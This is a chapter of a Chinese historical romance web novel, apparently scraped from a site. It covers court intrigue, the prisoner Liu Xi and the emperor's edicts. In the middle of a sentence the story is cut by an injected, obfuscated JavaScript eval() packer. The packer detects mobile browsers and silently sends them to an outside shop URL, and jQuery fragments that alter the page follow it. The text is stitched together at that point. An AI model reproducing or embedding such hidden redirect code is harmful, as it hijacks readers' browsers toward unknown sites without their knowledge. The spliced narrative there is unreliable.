“你耍赖也要有个度,这事儿可关系到刘宜的面子。”晚宁看着他那邪气的笑,有些担心他要给自己找麻烦,这人可总爱给自己找麻烦,皮痒得很。
顾言没接这话,敛了神情点了点头,自己又拿起了桌上的信,“宴白还说我师父出门去了,他应会来找我,只是不知何时。”
“军官们都定下来了,各司其职,大营里暂时无碍,我们先搬回家里,等着不就好了?”晚宁不强求他,不说便不说。
顾言从桌上下来,绣金的衣摆拌落了旁侧的文书,没管,牵过她的手把她拉进怀里,“你放心,明日便可回家。”
“真的?”
“我何时诓过你?”
晚宁静静看了他一会儿,当真是在回想,忽而思及些往事,假意粗暴起来,使了点劲儿揪起了他额前的头发,把他往自己面前拉,“没有诓过,就是忽然不见了。”
她深深记得侯府里那一地的白雪,她常寻着顾言的院子里空无一人,枝桠上的积雪重重的落下,砸的闷响,却再不见有人去扫,她的生命里曾有一个带着光亮的声音忽然消失了。
“我错了,再也不敢了。”有些疼的,可顾言没在意,她如何拉扯都可以,有些事,终究是自己做错了。他搂紧她,随她拽着,轻轻吻着她,从额心,到鼻尖,再到唇边,“我险些再也看不到你了是不是?”
“所以说,你若有什么事,都须得与我说清,知道了吗?”晚宁把他推起来,趁机把话绕了回去。
顾言知道她的意思,“你放心,我不会胡来。”说着便不管不顾的亲吻她,不再给她逼问的机会,那温热在她耳边盘桓了须臾,一点点滑到了脖颈里。
他搂着她转了个方向,把她往后推,晚宁感觉到后腰抵在那翠玉笔架上,“这是桌子。”她双手忙乱地想撑起自己,未果,又试图推他,却始终没推动。
“无妨,结实得很…”他伸手一波,哗啦一声,桌案上的文书纸笔撒了一地,无人去收。
秋夜清寒,炙灯澄霜,广陵侯府门庭金柱间,三盏三尺灯笼高悬亮起,大门上六十四攒金钉在灯火之下金漆焕华,檐檩枋板上麒麟踏云几欲跃出,屋宇院落间,灯饰,花架,秋千,流水,皆是为一人所砌,池鱼娟尾轻摆沉浮,四处游荡,偶尔吐些透珠,又自己碰破,似有些无趣,借着树影悠悠然分了半池星月,等着主人归来。
*
越州侯府里,霁月阁的碧玉翘头案上,纸笔文书已归于宴白管制,各方回报的事宜,商户送来的通关文书,一样样堆得几近两尺高,他熟练的审阅着,与往日没有不同,该回复的给些回复,而后便遣于齐给各处送去。
胡玉知晓刘夕进了大狱,独自一人在院子里晃神,来回走着,想寻个由头与宴白说,想去看看那救她又害她的人。
淳安婉端着些自制的点心正要送到宴白那里,从回廊间看见她在门外徘徊,上前轻声询问起来,“你在这做什么?”
胡玉见了这温婉的夫人忽然觉得有了希望,提起裙摆,上前施礼,“夫人,我想……”话到嘴边,却又不知如何表述了,她如今生怕他们觉得自己想要通敌。
淳安婉看了看霁月阁里头,又看了看她,心意了然,“你是想去看看刘夕?”
“是……”胡玉低着头,视线忽然空洞起来,她也不明白自己为何想要去看看。
淳安婉知道宴白的心思,顾言要的东西他从不会耽搁,他定是有这个安排的,不然不会多留一日,只是现在还在忙着。
“你等等,今日之内,宴大人会来寻你。”
“什么意思?”胡玉更不明白了。
“你们总归是有些牵绊在的,宴白会让你们见最后一面。”淳安婉不兜圈子,不论如何,罪人,就是罪人。
胡玉手里揪着衣摆,点了点头,“好,我等等。”
淳安婉觉得她无碍,便要往屋里走,耳边却传来了银铃声,越来越清晰,明快活泼,定睛一看,是临瑶跑了进来,身后跟着风如月,扇子一晃一晃的,好像从没被绑架过,依旧老样子,脚步轻盈,乌发随风扬起。
“婉儿姐姐!”临瑶远远看见了淳安婉,高声打起了招呼,银铃声在侯府中回荡,侍卫们皆张望着,而后带着果不其然的眼神继续巡视。
淳安婉手里端着东西,等她到面前时,往上托了一下,“你来啦?吃点儿东西?”
临瑶不是会客气的,她在侯府里也住了有些日子,大大方方捻起一块儿塞进了嘴里,“真好吃,姐姐做的?”刚咬一口,嚼了半下,还没吃出味儿来就拍起了马屁。
淳安婉知她定是有事,“你今日过来做什么?”说着又看向风如月,“不让风大人带你好好玩玩?”
临瑶转过身去,眨着眼睛瞧着风如月,于是风如月又不明白了,扇子停在了心口上,“看我干嘛?有什么话要说,要说。”他生怕自己没理解透彻,这里头学问颇大,他才刚开始学。
临瑶是听话的,对,有话就要说,说出来别人才知道你想做什么,她清了清嗓子,视线回到淳安婉的眼睛里,她听说要看着别人的眼睛说话才显郑重,整个人严肃起来,只是这严肃的样子显得她更加纯澈了些,连淳安婉都忍不住笑了一下。
眼见话还没说出口,对方就笑了,临瑶愕然中有些迷茫,“呃……那个……姐姐,我想去看看刘夕。”声音轻得像隔了一层布料,若不仔细,几乎就要听不见。
淳安婉隐约听见了“刘夕”这两个字,看着她的神情,心想大概是跟胡玉一样,“你也想看看刘夕是吗?”
临瑶头点得几乎摇出花来,风如月却听见了别的意思,“也?”
“是啊,胡玉也想见他。”淳安婉觉得没什么,随口答着。
风如月看向胡玉,有闲了便有了计较,觉得这女人想害人的时候应是没有那么客气,顾言竟放了她,一时有些不爽,“你本来该在大狱与他们一起待着的,你知道吗?”
胡玉低着头,她自己也知道,若不是需要她帮忙找秦观去寻叱罗桓,顾言不会放她出来,兴许还会将她一起押送京城,纵火的是她,此事乃是无从抵赖的事实。
宴白从屋里出来,看见门外如此热闹,也听了些许,上前压下了风如月的话,“她愿意帮侯爷,你就不要如此咄咄逼人。”
风如月只是随心所气,撇过脸去,不理他。
见宴白护着自己,胡玉上心起来,“大人,让我一同入京吧,我做证人,可还龙骧军清白。”
“你确定?”宴白知道顾言和晚宁没想过让她去认罪,尤其是晚宁,她觉得她也是可怜人,但若胡玉愿意自己去,倒也不是不可以,宴白可不在意罪人到底想死还是想活,他只在意主子的利益。
胡玉义无反顾,似是想要给自己一个交代,“是,但我要单独见刘夕一面。”
宴白本就想着让她们见一面,如此,顺水推舟,也可,“那你现在便去,明日,跟着他们启程。”
“不必,我见过他之后,便立即出发。”胡玉已在侯府住了多日,飘萍之身,无处可去,是这里的人收留了她,阿武和大山还与她做朋友,感念在心,她便决定上京认罪。
宴白则知道她定死不了,顾言是放了她自由的,她去京城也好,去别处也好,都无碍,“知道了,那便走吧。“他没与她多说,抬手摆了个请的姿态,一身绣鹤的衣袍做着毕恭毕敬地姿态,一如往日。
胡玉对淳安婉笑了笑,低下头往外院走,纱缎衣裙轻轻摆动,逐渐隐没在回廊里,丝毫没有留恋,也没有辞别。
淳安婉看着她走远,心里有些压抑,可罪确实是罪,她亦无从劝起,望向宴白,却看见宴白微微笑着,目送着胡玉的背影。
“你怎笑得毫无怜悯?”淳安婉有些埋怨起来,她是受不了铁石心肠之人的。“
宴白听了回过神来,牵起他铁腕又心软的夫人,轻声安慰,“侯爷不会让她死的,你信我,况且还有大小姐在。“
“真的?”
“真的。”
临瑶站在一边看了许久,亦有思考,但不敢出声,她总觉得自己有很多东西要默默学习,此时怯怯地插了句嘴,“那个……我也想去看看刘伯……伯。”她更加胆怯一些,因着自己与刘夕关系更亲近。
宴白本就想着让她去看看的,听她自己说了,便也毫不迟疑,“你去吧,见见他。”
风如月转身便走,“走吧,我就说你不用问他。”
“大人,这是礼貌。”临瑶快步跟上他,在他身后强调起来,这是她离开琼山后学到最多的东西了。
风如月听了停下脚步,扇子一收,轻轻敲在她脑袋上,“风氏非官家不拜,你给我记住了。”
“什么意思?”临瑶又不明白了,外面的世界真新奇,日日有着新玩意儿?
“意思是,你可以大胆一些。”风如月撇了一眼站在原地的宴白,“那个人,你不必拜他。”
宴白听见了,高声呛他,“风如月你就尽不教些好的。”
淳安婉习惯了他们相互拌嘴,笑着摇头,端着糕点转身往屋里走,“你越应他,他越高兴,他就爱气你。”
谁说不是呢,宴白盯着远处刻意瞪着他的风如月,往后退了两步,转身跟着淳安婉回屋去。
风如月不管,宴白就该是宴白,不论何时,都是可以逗着玩儿的,见他走了,他又对临瑶补充起来,“你是我风氏的人,要学的是不叩不拜,天下人在风氏医者眼里,都一样。”
临瑶蒙蒙地,姑且先点点头,心想回头再问问婉儿姐姐,“嗯……那,我们现在去看刘伯伯吧?”
“走吧。”风如月甩着袖子往外走,临瑶在后面跟着,蒙的还是蒙的。
*
叱罗桓带着秦观在羽州军的护送下离开邺阳,一路狂奔,铁骑铮铮,不出两日便回到了羽州,而后事先被送到了陆匀府里。
陆匀眯着眼睛瞧他俩,一个异族人,一个满脸写着谋算,他想着简单问问,摸一摸底细也算求个稳妥。
“你们在临安都干了什么?”陆匀自己回到桌案后边坐下,看着两个人站在书房里,皇帝要的人又如何,不招待,不可随便招待。
“我们在帮顾侯爷找北漠三城交易龙骧军性命的证据。”叱罗桓盯着这老头儿,不怯。
秦观不曾见过这大官,没什么感觉,左右都是官,他眼睛里打转,四处张望,而后试探着问道:“大人,不是陛下要我们回京吗?”
陆匀见这俩一点儿不心虚,有些觉得自己想多了,“陛下确实等着叱罗桓,可这位……”他觉得多出一个有些不妥。
叱罗桓是想带着秦观的,这可是冒死一程的交情,“这是侯爷需要的人,必须一块儿。”他袒护起来。
一听是顾言要的人,陆匀便不敢再多说什么,心想免得又平白惹些不痛快,“哦,既如此,你们便歇一晚,明日快些入京去。”
叱罗桓见这老头忽然顺当的很,便又打听起来,“大人,外面巡防森严,出什么事了?”
陆匀迟疑了一下,简略概括吧,“锦阳王造反了,还有些余孽没抓住。”
“哦~~”叱罗桓也不再细问,他先前听过这一茬,如今也算知道事情在哪一步了,商人最重要的便是消息灵通。
秦观本是黑市里的人,听见这话也不惊奇,世间任何事情都可能发生,黑市里贩卖的稀奇消息真真假假,他都习惯了。
两人告辞,跟着陆匀的侍卫穿过回廊往厢房里去,他们听着坠玉的灯盏在头顶随风晃动的声响,忽如其来的安逸感却使两个差点儿死了的人有些毛骨悚然,相视一眼,算是交换了意见,活着便不能掉以轻心。
陆匀等两人离开,修书给了刘宜,称叱罗桓已在路上,带了个叫秦观的人。他始终是朝廷的官儿,听刘宜的。
这几日刘宜依旧在宸英殿宿着,早朝之后便目送群臣离开,待到入了夜,又熬了半夜,终于累了,正想躺下,却收到了宴白的奏折,盖着顾言给他的越州大印,看着像是急信。
打开一看,刘宜身心振奋,刘夕和左禄押送回京是天大的喜事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327604|131336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他抓起玉笔便写了道圣旨:“诏:广陵侯府副将,越州军统领宴白平乱有功,册为平南大将军,授将军大印,麒麟金甲,谕兵部速办,以表寡人心意。”
手摸到玉玺上,抓起来正要盖下去,心中的底却忽然没了,他决定去找顾言商量,心想那毕竟是顾言的人。他撂下玉玺,起身理了理衣袍便往外走,腾龙衣袍甩得猎猎作响,林总管躬身跟着他,没敢吱声。
四更的天,九华殿内罗帐灯昏,香风揉着脂玉,顾言已搂着晚宁睡下了,却忽然听见了敲门声。
敢敲九华殿大门的不会有别人,他起身给睡熟的晚宁掩好被子,自己悄悄穿上衣袍,开了小门走出去,又轻轻掩好,生怕吵着她。
拉开大门一看,果然是刘宜,还一脸激动,他揉了揉眉心,给自己醒醒神,“陛下漏夜回来,是发生什么事了?”
“宴白说刘夕抓到了,与左禄一同送回来。”刘宜手里攥着宴白的奏折,递给顾言看。
顾言看见那熟悉的大印,有一瞬恍惚,而后双手接过,“谢陛下告知,宴白功不可没,请陛下给他脱了奴籍吧。”
“他是奴籍?”刘宜全然不知,他以为宴白是亲兵。
“他是我父亲从人牙子那里买来的。”顾言自幼便不喜欢贩卖人口的事情,便是因着宴白这么好的人,居然被虐待变卖过。
刘宜一口应下,保家卫国之人怎能折辱,“兄长放心,旨意我方才已经拟好了,封他个将军,如何?”
“谢陛下。”顾言拱手拜他,深更半夜的,被他闹清醒了,那该说的事情也说一下,“陛下,我们明日便搬回侯府去了,你可回来住。”
刘宜抬手扶他起来,看着他似极不舍,“兄长,这些年,是我害了你。”他不想他离开,这皇宫分他一半又如何?
顾言却是不想听他说这话,许多事情非要深究,那便是没完没了,这些年他已经累了,找回了阿宁他便只想好好活着,刘宜必须像个帝王,许多事情才能好办。
“去越州第一年,我带人杀了五百山匪,断了一只手,养好了,我又带人去杀了两百海贼,背后中了四刀,没死成,我又带人跑到西郊清剿了强盗,杀了六百七十多人,宴白算的,我也不知道,肩上腿上共中了三箭,刀伤遍布,昏过去四五天,陛下,我去的那年十五岁。”
“兄长……”
偿还,不是说说就行的。
“你唤我一声兄长,我便不怪你年幼无心之失,只是如今你是圣上,哀哀戚戚,唯唯诺诺,不可。”似是临走的嘱咐,你我相称。
刘宜听懂了,默了须臾,目光凌厉起来,“寡人明白。”
顾言看笑了,“这就对了,臣终究未死,必效命陛下,镇守河山。”
“郡主的仪仗寡人已经备下,顾侯打算何时完婚?”
“陛下觉得,出征之日如何?”
刘宜目露惊惧,伸手握紧了他的手腕,“何事出征?”
“陛下,北漠三城必须夺回,且我们还要去拜见我岳父大人。”顾言说的轻松至极,仿佛说着要去游玩。
刘宜望着他不知如何言说,手已不听使唤,根本松不开,私心是不想他们去的,可作为帝王,他不能否认,仓羯之乱,需要收尾。
“陛下,龙骧军的清白,须你亲自澄清。”顾言见他不说话,趁火打劫,方才的故事,都是为此准备的。
刘宜的愧疚漫到了顶点,既然刘夕押送回京了,那便一起算账,再合适不过了,他一咬牙,目光之中凝了把刀子指向自己,“兄长,寡人一封罪己诏,如何?”
“陛下英明。”顾言毫不客气,欠的,都是要还的。
他回头往屋里看了一眼,垂眸思量了片刻,抬起头来淡然地看着刘宜,“阿宁睡熟了,陛下没什么事便回去歇息吧,臣熬了多年,好不容易活着回来了,不求功绩,不求恩赏,只想与阿宁在一块儿,陛下从今往后记得这个就是了。”
刘宜心中忽入刀锋,他咬牙应了声好,深觉许多事情,他须用余生偿还。他握起拳头敲在顾言肩上,转身离开,背过去的一瞬,他便只是帝王。
*
越州大狱里刘夕带着浑身伤痕躺着还挺舒服,他也开始有一种安然之感,忙活大半辈子,都干什么去了?舒服混吃不好吗?又一想,终究没有回头路。
胡玉走下台阶,火光印在她妖媚的脸上,却显得冰冷凄寒,她逐渐看见那个救她的人,那人过去似乎离她很远,总是一副和蔼模样,可靠近之后,却变成了一副恶毒的嘴脸。
“大王。”她轻声喊道。
刘夕抬起脸来,看见胡玉时惊讶不已,他以为顾言已经杀了她,没想到竟是放了她,侯府的人果然都不是正常人。
“你竟没死?”
“大王很想我死是吗?”声音里带着哀伤,她曾经敬重爱戴的,却是最想她死的。
“不然呢?你一个纵火之人不死,我怎么活?你就该死了,我就不会沦落至此,你对得起我的养育之恩吗?”
养育之恩?胡玉忽觉好笑,这血肉身躯终究是要有个交代的,她更坚定了上京认罪的想法。
“为报答大王的恩情,胡玉定会为大王求一解脱。”
说完她便转身离开,已经清楚了,没有再多疑问,她走出大狱之后,便往北面城门走去,走水路,上京认罪,如此便对得起自己,也对得起众人。
风如月带着临瑶正好看着她离开,皱起眉头摇着扇子,“这要是正常女子兴许能有个好去处。”
“大人,她哪里不正常了?”临瑶又不明白了,不懂就问。
风如月最怕刨根问底的,因着并不是什么东西都有个答案,他苦恼地看着临瑶,自己想了一个,“她没人疼,所以不正常,你有我,就正常。”
“啊?”临瑶更蒙了,“那我不正常的时候是不是没你的时候?”
“你不会没我,会一直正常。”扇骨有十六道,风如月胡说八道,哄高兴就好。
“哦~~有你真好。”临瑶诚心实意地答着。